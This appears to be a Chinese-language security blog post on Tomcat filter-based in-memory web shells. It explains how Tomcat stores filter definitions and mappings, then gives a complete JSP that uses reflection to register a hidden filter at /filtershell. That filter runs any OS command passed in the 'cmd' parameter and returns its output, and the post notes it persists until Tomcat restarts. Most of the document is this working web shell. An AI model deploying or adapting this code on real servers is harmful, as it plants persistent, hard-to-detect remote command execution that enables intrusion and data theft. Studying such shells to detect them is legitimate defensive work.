web.xml配置Filter
    image.png
    调试点image.png

    主要有这几个关键类存储我们在web.xml中的属性
    image.png
    image.png代码中的context.findFilterMaps() 即是我们创建的filter存储的地方
    可以看到filterConfigs除了存放了filterDef还保存了当时的context.

    • filterConfigs
    • filterDefs
    • filterDef
    • filterMaps

    filterDef相当于web.xml中的

    1. <filter>
    2. <filter-name>FilterTest</filter-name>
    3. <filter-class>com.sorry.bug.CustomFilter</filter-class>
    4. </filter>

    filterMaps中则存储了web.xml中的,不过按照顺序来存储.

    1. <filter-mapping>
    2. <filter-name>FilterTest</filter-name>
    3. <url-pattern>/filtertest</url-pattern>
    4. </filter-mapping>

    那么要想注入filter型内存马,则需要替代web.xml实现注入.

    1. 创建恶意filter
    2. 用filterDef将filter封装
    3. 将filterDef添加到filterDefs和filterConfigs中
    4. 创建一个新的filterMap将url和filter进行绑定,并添加到filterMaps中

    要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去.
    每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启.

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%@ page import = "org.apache.catalina.Context" %>
    3. <%@ page import = "org.apache.catalina.core.ApplicationContext" %>
    4. <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
    5. <%@ page import = "org.apache.catalina.core.StandardContext" %>
    6. <!-- tomcat 8/9 -->
    7. <%@page import = "org.apache.tomcat.util.descriptor.web.FilterMap"%>
    8. <%@page import = "org.apache.tomcat.util.descriptor.web.FilterDef"%>
    9. <!-- tomcat 7 -->
    10. <!--org.apache.catalina.deploy.FilterMap"
    11. " org.apache.catalina.deploy.FilterDef"
    12. -->
    13. <%@ page import = "javax.servlet.*" %>
    14. <%@ page import = "javax.servlet.annotation.WebServlet" %>
    15. <%@ page import = "javax.servlet.http.HttpServlet" %>
    16. <%@ page import = "javax.servlet.http.HttpServletRequest" %>
    17. <%@ page import = "javax.servlet.http.HttpServletResponse" %>
    18. <%@ page import = "java.io.IOException" %>
    19. <%@ page import = "java.lang.reflect.Constructor" %>
    20. <%@ page import = "java.lang.reflect.Field" %>
    21. <%@ page import = "java.lang.reflect.InvocationTargetException" %>
    22. <%@ page import = "java.util.Map" %>
    23. <%@ page import="java.io.PrintWriter" %>
    24. <%
    25. class InsertFilter implements Filter {
    26. @Override
    27. public void init(FilterConfig filterConfig) throws ServletException {
    28. }
    29. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    30. HttpServletRequest req = (HttpServletRequest) servletRequest;
    31. HttpServletResponse rsp = (HttpServletResponse) servletResponse;
    32. String command = req.getParameter("cmd");
    33. PrintWriter writer = rsp.getWriter();
    34. if (command != null) {
    35. String o = "";
    36. java.lang.ProcessBuilder p;
    37. if(System.getProperty("os.name").toLowerCase().contains("win")){
    38. p = new java.lang.ProcessBuilder("cmd.exe", "/c", command);
    39. }else{
    40. p = new java.lang.ProcessBuilder("/bin/sh", "-c", command);
    41. }
    42. java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
    43. o = c.hasNext() ? c.next(): o;
    44. c.close();
    45. writer.write(o);
    46. writer.flush();
    47. writer.close();
    48. }
    49. filterChain.doFilter(servletRequest, servletResponse);
    50. }
    51. public void destroy() {}
    52. }
    53. %>
    54. <%
    55. String name="InsertFilter";
    56. //ServletContext servletContext = request.getServletContext();
    57. ServletContext servletContext = request.getSession().getServletContext();
    58. Field appctx = servletContext.getClass().getDeclaredField("context");
    59. appctx.setAccessible(true);
    60. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    61. Field stdctx = applicationContext.getClass().getDeclaredField("context");
    62. stdctx.setAccessible(true);
    63. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    64. Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    65. Configs.setAccessible(true);
    66. Map filterConfigs = (Map) Configs.get(standardContext);
    67. if(filterConfigs.get(name) == null){
    68. InsertFilter insertFilter = new InsertFilter();
    69. FilterDef filterDef = new FilterDef();
    70. filterDef.setFilterName(name);
    71. filterDef.setFilterClass(insertFilter.getClass().getName());
    72. filterDef.setFilter(insertFilter);
    73. standardContext.addFilterDef(filterDef);
    74. FilterMap filterMap = new FilterMap();
    75. filterMap.addURLPattern("/filtershell");
    76. filterMap.setFilterName(name);
    77. filterMap.setDispatcher(DispatcherType.REQUEST.name());
    78. standardContext.addFilterMapBefore(filterMap);
    79. Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    80. constructor.setAccessible(true);
    81. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    82. filterConfigs.put(name,filterConfig);
    83. out.write("Inject Success");
    84. }else{
    85. out.write("Injected");
    86. }
    87. %>